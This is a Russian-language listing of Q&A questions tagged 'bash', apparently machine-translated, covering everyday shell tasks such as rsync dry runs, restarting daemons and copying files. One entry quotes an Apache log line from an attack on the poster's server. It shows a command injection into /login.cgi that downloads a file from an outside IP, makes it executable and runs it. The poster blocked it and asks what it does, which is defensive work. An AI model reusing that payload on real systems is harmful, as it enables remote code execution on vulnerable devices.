Вопросы с тегом «bash»

Bash - это бесплатная оболочка для Unix-подобных операционных систем из проекта GNU.


3
Как мне сбросить или избавиться от функции bash?
Если вы установите или экспортируете переменную окружения в bash, вы можете отменить ее. Если вы установите псевдоним в bash, вы можете удалить его. Но, кажется, не работает . Рассмотрим эту (тривиальную) функцию bash, например, установите в файле .bash_aliases и прочитайте при инициализации оболочки. function foo () { echo "bar" ; …

1
Как вернуться или переслать слово в среде bash? [Дубликат]
Возможный дубликат: Как я могу эффективно перемещаться по командной строке bash? В командной строке Windows можно вернуться назад или вперед на одно слово, нажав ctrlи <-/->. Что эквивалентно в среде bash?

3
Как добавить команду в историю Bash, не выполняя ее?
Время от времени было бы полезно добавить команду непосредственно в историю в Bash, фактически не выполняя ее. Пока что закрытая вещь, которую я нашел, это добавление #перед ним и нажатие клавиши return. Есть ли лучшие способы?

7
Как автоматически перезапустить фоновый процесс Linux, если он не работает?
У меня есть процесс, который выполняется сценарием init.d на фоне. Например: case "$1" in start) /bin/myprocess & stop) killall myprocess restart) killall myprocess /bin/myprocess & esac В определенных условиях myprocess может завершиться с ошибкой и вернуться. Есть ли (стандартный) способ, как обнаружить его сбой и автоматически перезапустить?
32 linux  bash  process  daemon 

5
Как запустить команду после того, как уже запущенная, существующая заканчивается?
Если я запускаю сценарий, который займет много времени, я неизбежно осознаю его после того, как запустил сценарий, и хотел бы, чтобы у меня был способ сделать какое-то предупреждение после его завершения. Так, например, если я бегу: really_long_script.sh и нажмите ввод ... как я могу запустить другую команду после ее завершения?
32 linux  bash  terminal 

6
Как распечатать файлы, которые были бы изменены с помощью rsync?
Есть ли способ заставить rsync напечатать полные пути к файлам для всех файлов, которые отличаются друг от друга, без фактической передачи каких-либо файлов? В качестве альтернативы мне нужен способ разбить файлы по двум деревьям (по SSH), основываясь только на изменении размера или времени последнего изменения.
32 linux  bash  rsync  diff 

3
Комментарии в многострочной команде bash
Этот файл командного сценария BASH сложен для понимания, поэтому я хочу написать комментарий для каждого из действий: echo 'foo' \ | sed 's/d/a/' \ | sed 's/e/b/' \ | sed 's/f/c/' \ > myfile (sed - просто пример, на самом деле это смесь greps, trs и awks) Я бы не …
32 bash  pipe  comments  sh 

8
Копируйте файлы в Linux, избегайте копирования, если файлы существуют в месте назначения
Этот вопрос был перенесен из переполнения стека, поскольку на него могут ответить суперпользователи. Мигрировал 9 лет назад . Мне нужно скопировать папку / home / user с одного жесткого диска на другой. Он имеет 100 000 файлов и размером около 10G. я использую cp -r /origin /destination иногда я получаю …
32 linux  bash 

1
Есть ли способ сделать Bash более дружественным к TAB?
Я использую bash как на своем Mac, так и в качестве оболочки Cygwin. В целом, я вполне доволен этим. Моя единственная жалоба, однако, заключается в том, что его завершение TAB не так хорошо, как завершение командной строки Windows. Например, если есть два файла с одинаковым префиксом, bash просто издает звуковой …

2
Что делает этот скрипт bash? [Попытка взлома]
В последнее время я замечал на своих серверах логи apache, следующие странные строки: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Поэтому я создал собственный фильтр Fail2Ban и начал блокировать IP-адреса, запрашивающие эти /login.cgi URL-адреса. Но мне было любопытно, что они пытались сделать, поэтому я вытащил …

2
Как я могу получить конкретный аргумент из предыдущей команды в Bash?
В bash вы можете использовать !*все аргументы предыдущей команды. Например, если вы сделали, cp /some/path /some/other/pathа затем сделали mv !*, вторая команда будет расширена до mv /some/path /some/other/path. Есть ли что-то подобное, что можно использовать для доступа к определенному аргументу команды вместо всех?


5
Linux: Скопируйте все файлы, соответствующие шаблону, из каталога dir и его подкаталогов в один каталог.
Если бы я хотел скопировать все *.soфайлы из srcв, dstя бы сделал: cp src/*.so dst Однако я хочу скопировать все *.soфайлы из src и его подкаталогов в dst. Есть какие-нибудь подсказки?
31 linux  bash 


Используя наш сайт, вы подтверждаете, что прочитали и поняли нашу Политику в отношении файлов cookie и Политику конфиденциальности.
Licensed under cc by-sa 3.0 with attribution required.